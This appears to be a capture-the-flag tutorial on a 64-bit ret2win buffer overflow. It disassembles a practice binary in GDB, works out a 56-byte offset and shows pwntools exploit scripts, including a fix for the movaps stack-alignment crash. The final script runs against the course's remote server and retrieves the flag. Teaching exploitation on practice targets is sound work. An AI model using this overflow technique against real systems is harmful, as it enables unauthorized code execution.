win64
Solving a 64-bit ret2win.
This is going to be the first time dealing with a 64-bit binary. In the ret2win case, this is not much different than the 32-bit version. In future challenges, we will see that 64-bit binaries become increasingly more complex than 32-bit ones, so it's essential to understand the differences between them.
Remember that 64-bit binaries pass parameters via the registers. The return pointer and base pointer are still stored on the stack for later use, just like 32-bit.
Checking Security
As always, we check the security of the binary:
$ checksec win64
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
We see no protections on the binary, so ret2win is probably a good solution. Here is where we also notice that the binary is 64-bit, meaning that we have to treat the binary accordingly.
GDB Disassembly
Unsurprisingly, checking the functions list yields us the same result as win32
:
gef➤ info functions
All defined functions:
Non-debugging symbols:
0x0000000000401000 _init
0x0000000000401070 puts@plt
0x0000000000401080 system@plt
0x0000000000401090 gets@plt
0x00000000004010a0 fflush@plt
0x00000000004010b0 _start
0x00000000004010e0 _dl_relocate_static_pie
0x00000000004010f0 deregister_tm_clones
0x0000000000401120 register_tm_clones
0x0000000000401160 __do_global_dtors_aux
0x0000000000401190 frame_dummy
0x0000000000401196 win
0x00000000004011b5 read_in
0x00000000004011f3 main
0x000000000040121b usefulGadgets
0x000000000040122c _fini
We're going straight to read_in
because we know the contents of win
and main
aren't relevant to us.
gef➤ disas read_in
Dump of assembler code for function read_in:
0x00000000004011b5 <+0>: endbr64
0x00000000004011b9 <+4>: push rbp
0x00000000004011ba <+5>: mov rbp,rsp
0x00000000004011bd <+8>: sub rsp,0x30
0x00000000004011c1 <+12>: lea rax,[rip+0xe50] # 0x402018
0x00000000004011c8 <+19>: mov rdi,rax
0x00000000004011cb <+22>: call 0x401070 <puts@plt>
0x00000000004011d0 <+27>: mov rax,QWORD PTR [rip+0x2e71] # 0x404048 <stdout@GLIBC_2.2.5>
0x00000000004011d7 <+34>: mov rdi,rax
0x00000000004011da <+37>: call 0x4010a0 <fflush@plt>
0x00000000004011df <+42>: lea rax,[rbp-0x30]
0x00000000004011e3 <+46>: mov rdi,rax
0x00000000004011e6 <+49>: mov eax,0x0
0x00000000004011eb <+54>: call 0x401090 <gets@plt>
0x00000000004011f0 <+59>: nop
0x00000000004011f1 <+60>: leave
0x00000000004011f2 <+61>: ret
We see that this is formatted very similar to the win32
binary, so it shouldn't be that scary.
The same "assembly dance" is happening in this binary. Let's go over this process:
We know that
main
performs acall read_in
to get inside this function.call
does two things: (1) puts the return pointer, the instruction aftercall
, onto the stack; and (2) jumps to the address of the called function.push rbp
pushes the old base pointer onto the stack. This is done so that the base pointer can be restored later.mov rbp, rsp
sets the base pointer to the current stack pointer. This is done so that the base pointer can be used as a reference to the stack.sub rsp, 0x30
allocates0x30
bytes on the stack for local variables.
This means that after the assembly dance, our stack should look like this:
|-- rsp
v
[... | ... 0x30 bytes ... | base pointer | return pointer | ... ]
Reviewing the assembly, we notice that there is a call to puts@plt
and gets@plt
. puts
just prints out the "Can you figure out how to win here?" to the screen. Let's dive deeper into gets()
and how it might be different for this architecture.
Inputting in 64-bit
Since this is 64-bit, parameters are passed via the register. We know that gets()
takes one argument: the address where our input is stored. We proved the last binary that we are writing to the stack.
If we check the last data that was passed to rdi
before gets
is called, this is where we write. We find that this line is the last update to rdi
:
0x00000000004011df <+42>: lea rax,[rbp-0x30]
0x00000000004011e3 <+46>: mov rdi,rax
rdi
is loaded with the address of rbp-0x30
, meaning this is where we are writing.
Getting the Offset
Getting the offset is the same in 64-bit as 32-bit. Let's put a breakpoint right before the call so we can inspect the stack:
gef➤ b *(read_in+54)
gef➤ run
Find the address of the return pointer by checking the instruction after the call
to read_in
:
0x0000000000401200 <+13>: call 0x4011b5 <read_in>
0x0000000000401205 <+18>: lea rax,[rip+0xe30] # 0x40203c
Our return pointer is 0x401205
.
Let's check what's on the stack:
gef➤ x/10gx $rsp
0x7fffffffe450: 0x0000000000000000 0x0000000000000000
0x7fffffffe460: 0x0000000000000000 0x0000000000000000
0x7fffffffe470: 0x0000000000000000 0x0000000000000000
0x7fffffffe480: 0x00007fffffffe490 0x0000000000401205
0x7fffffffe490: 0x0000000000000001 0x00007ffff7c29d90
We see that the return pointer is there:
gef➤ x/gx 0x7fffffffe488
0x7fffffffe488: 0x0000000000401205
Checking rdi
shows us where we will start writing:
gef➤ p/x $rdi
$1 = 0x7fffffffe450
Let's see how many bytes that we need to write to reach here:
$ python3 -c "print(0x7fffffffe488-0x7fffffffe450)"
56
This makes sense. We were told that we are writing at rbp-0x30
, which is 48
bytes from the base pointer, plus we need to add 8
bytes for the old base pointer that was pushed on the stack, totaling 56
bytes.
Let's craft our exploit:
from pwn import *
proc = process('./win64')
f_win = 0x401196
payload = b'A' * 56
payload += p64(f_win)
proc.sendline(payload)
proc.interactive()
Running this produces the following output:
$ python3 exploit.py
[+] Starting local process './win64': pid 20651
[*] Switching to interactive mode
Can you figure out how to win here?
[*] Got EOF while reading in interactive
$
[*] Process './win64' stopped with exit code -11 (SIGSEGV) (pid 20651)
[*] Got EOF while sending in interactive
Hmmm. This isn't working. We know this because we reached EOF (end of file) before we got to the interactive shell. Something's not quite right with the payload.
The movaps
Problem
movaps
ProblemWe can modify our payload to run a gdb
instance on the binary using our payload to ensure that it executes properly.
proc = gdb.debug('./win64', gdbscript=gdbcmds)
gdb.debug
takes the secondary argument of gdbscript
which is the list of commands you want to run automatically. This allows for rapid debugging by consistently jumping to the same spot in memory. In our case, we set gdbcmds
to:
gdbcmds = '''
b *read_in+54
c
'''
This is going to set a breakpoint right before the gets()
call (which we did manually) and then continue (because a breakpoint is automatically set at _start()
).
If we reach the end of read_in
, we notice, based on the execution flow, that it intends to go to win()
:
0x4011eb <read_in+54> call 0x401090 <gets@plt>
0x4011f0 <read_in+59> nop
0x4011f1 <read_in+60> leave
→ 0x4011f2 <read_in+61> ret
↳ 0x401196 <win+0> endbr64
0x40119a <win+4> push rbp
0x40119b <win+5> mov rbp, rsp
0x40119e <win+8> lea rax, [rip+0xe63] # 0x402008
0x4011a5 <win+15> mov rdi, rax
0x4011a8 <win+18> mov eax, 0x0
Using ni
, we see that the program successfully makes it to win()
. Our payload successfully takes us to the right place! If we continue execution to let it print the flag, we see that it segfaults:
[#0] Id 1, Name: "win64", stopped 0x7fc438850963 in __sigemptyset (), reason: SIGSEGV
We notice that it stops on the movaps
instruction inside of do_system
:
→ 0x7fc438850963 <do_system+115> movaps XMMWORD PTR [rsp], xmm1
From the call trace, we see that this is called from win()
calling system()
, as expected:
[#0] 0x7fc438850963 → __sigemptyset(set=<optimized out>)
[#1] 0x7fc438850963 → do_system(line=0x402008 "cat flag.txt")
[#2] 0x4011b2 → win()
This is known as the movaps
fault. This happens because movaps
expects the stack to be 16-byte
aligned. However, we diverted execution away from the standard execution flow, so there's no guarantee that the stack is aligned. Furthermore, we are writing 56
bytes to the stack, which is not a multiple of 16
. This means that the stack is not aligned and movaps
will segfault.
How can we fix this? We can add 8
bytes to the payload, which will make it 64
bytes (which is a multiple of 16
). The standard solution for this is to divert to another return, which will effectively add 8
bytes to the payload and not affect the rest of the execution. Let's find another ret
to divert to. It doesn't matter which you pick, I randomly chose the one inside deregister_tm_clones
:
gef➤ disas deregister_tm_clones
Dump of assembler code for function deregister_tm_clones:
0x00000000004010f0 <+0>: mov eax,0x404048
0x00000000004010f5 <+5>: cmp rax,0x404048
0x00000000004010fb <+11>: je 0x401110 <deregister_tm_clones+32>
0x00000000004010fd <+13>: mov eax,0x0
0x0000000000401102 <+18>: test rax,rax
0x0000000000401105 <+21>: je 0x401110 <deregister_tm_clones+32>
0x0000000000401107 <+23>: mov edi,0x404048
0x000000000040110c <+28>: jmp rax
0x000000000040110e <+30>: xchg ax,ax
0x0000000000401110 <+32>: ret
The address of this return is 0x401110
. Let's add this to our payload:
from pwn import *
proc = process('./win64')
g_ret = 0x401110
f_win = 0x401196
payload = b'A' * 56
payload += p64(g_ret)
payload += p64(f_win)
proc.sendline(payload)
proc.interactive()
You'll notice that I label my variables based on what they are. f
variables are functions, g
variables are gadgets. More on what gadgets are when we get to ROP.
Running this:
$ python3 exploit.py
[+] Starting local process './win64': pid 21192
[*] Switching to interactive mode
Can you figure out how to win here?
cat: flag.txt: No such file or directory
[*] Got EOF while reading in interactive
$
[*] Process './win64' stopped with exit code -11 (SIGSEGV) (pid 21192)
[*] Got EOF while sending in interactive
cat flag.txt
is called! Let's run this against the remote server:
$ python3 exploit.py
[+] Opening connection to vunrotc.cole-ellis.com on port 1200: Done
[*] Switching to interactive mode
Can you figure out how to win here?
flag{not_so_different_yet_is_it}
[*] Got EOF while reading in interactive
$
[*] Interrupted
[*] Closed connection to vunrotc.cole-ellis.com port 1200
And we have our flag!
Last updated
Was this helpful?